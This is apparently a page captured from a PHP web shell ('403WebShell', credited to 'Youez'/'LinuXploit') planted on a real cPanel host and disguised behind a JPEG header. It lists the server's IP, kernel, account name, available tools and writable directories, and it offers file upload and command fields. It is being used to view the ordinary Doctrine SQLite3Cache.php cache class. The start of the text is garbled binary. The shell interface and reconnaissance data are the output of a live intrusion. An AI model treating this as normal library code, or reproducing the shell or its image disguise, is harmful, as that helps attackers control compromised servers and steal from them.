����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.14.144.145
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/vendor/doctrine/cache/lib/Doctrine/Common/Cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /home/builderbox/www/vendor/doctrine/cache/lib/Doctrine/Common/Cache/SQLite3Cache.php
<?php

namespace Doctrine\Common\Cache;

use SQLite3;
use SQLite3Result;
use const SQLITE3_ASSOC;
use const SQLITE3_BLOB;
use const SQLITE3_TEXT;
use function array_search;
use function implode;
use function serialize;
use function sprintf;
use function time;
use function unserialize;

/**
 * SQLite3 cache provider.
 */
class SQLite3Cache extends CacheProvider
{
    /**
     * The ID field will store the cache key.
     */
    public const ID_FIELD = 'k';

    /**
     * The data field will store the serialized PHP value.
     */
    public const DATA_FIELD = 'd';

    /**
     * The expiration field will store a date value indicating when the
     * cache entry should expire.
     */
    public const EXPIRATION_FIELD = 'e';

    /** @var SQLite3 */
    private $sqlite;

    /** @var string */
    private $table;

    /**
     * Calling the constructor will ensure that the database file and table
     * exist and will create both if they don't.
     *
     * @param string $table
     */
    public function __construct(SQLite3 $sqlite, $table)
    {
        $this->sqlite = $sqlite;
        $this->table  = (string) $table;

        $this->ensureTableExists();
    }

    private function ensureTableExists() : void
    {
        $this->sqlite->exec(
            sprintf(
                'CREATE TABLE IF NOT EXISTS %s(%s TEXT PRIMARY KEY NOT NULL, %s BLOB, %s INTEGER)',
                $this->table,
                static::ID_FIELD,
                static::DATA_FIELD,
                static::EXPIRATION_FIELD
            )
        );
    }

    /**
     * {@inheritdoc}
     */
    protected function doFetch($id)
    {
        $item = $this->findById($id);

        if (! $item) {
            return false;
        }

        return unserialize($item[self::DATA_FIELD]);
    }

    /**
     * {@inheritdoc}
     */
    protected function doContains($id)
    {
        return $this->findById($id, false) !== null;
    }

    /**
     * {@inheritdoc}
     */
    protected function doSave($id, $data, $lifeTime = 0)
    {
        $statement = $this->sqlite->prepare(sprintf(
            'INSERT OR REPLACE INTO %s (%s) VALUES (:id, :data, :expire)',
            $this->table,
            implode(',', $this->getFields())
        ));

        $statement->bindValue(':id', $id);
        $statement->bindValue(':data', serialize($data), SQLITE3_BLOB);
        $statement->bindValue(':expire', $lifeTime > 0 ? time() + $lifeTime : null);

        return $statement->execute() instanceof SQLite3Result;
    }

    /**
     * {@inheritdoc}
     */
    protected function doDelete($id)
    {
        [$idField] = $this->getFields();

        $statement = $this->sqlite->prepare(sprintf(
            'DELETE FROM %s WHERE %s = :id',
            $this->table,
            $idField
        ));

        $statement->bindValue(':id', $id);

        return $statement->execute() instanceof SQLite3Result;
    }

    /**
     * {@inheritdoc}
     */
    protected function doFlush()
    {
        return $this->sqlite->exec(sprintf('DELETE FROM %s', $this->table));
    }

    /**
     * {@inheritdoc}
     */
    protected function doGetStats()
    {
        // no-op.
    }

    /**
     * Find a single row by ID.
     *
     * @param mixed $id
     *
     * @return array|null
     */
    private function findById($id, bool $includeData = true) : ?array
    {
        [$idField] = $fields = $this->getFields();

        if (! $includeData) {
            $key = array_search(static::DATA_FIELD, $fields);
            unset($fields[$key]);
        }

        $statement = $this->sqlite->prepare(sprintf(
            'SELECT %s FROM %s WHERE %s = :id LIMIT 1',
            implode(',', $fields),
            $this->table,
            $idField
        ));

        $statement->bindValue(':id', $id, SQLITE3_TEXT);

        $item = $statement->execute()->fetchArray(SQLITE3_ASSOC);

        if ($item === false) {
            return null;
        }

        if ($this->isExpired($item)) {
            $this->doDelete($id);

            return null;
        }

        return $item;
    }

    /**
     * Gets an array of the fields in our table.
     *
     * @return array
     */
    private function getFields() : array
    {
        return [static::ID_FIELD, static::DATA_FIELD, static::EXPIRATION_FIELD];
    }

    /**
     * Check if the item is expired.
     *
     * @param array $item
     */
    private function isExpired(array $item) : bool
    {
        return isset($item[static::EXPIRATION_FIELD]) &&
            $item[self::EXPIRATION_FIELD] !== null &&
            $item[self::EXPIRATION_FIELD] < time();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit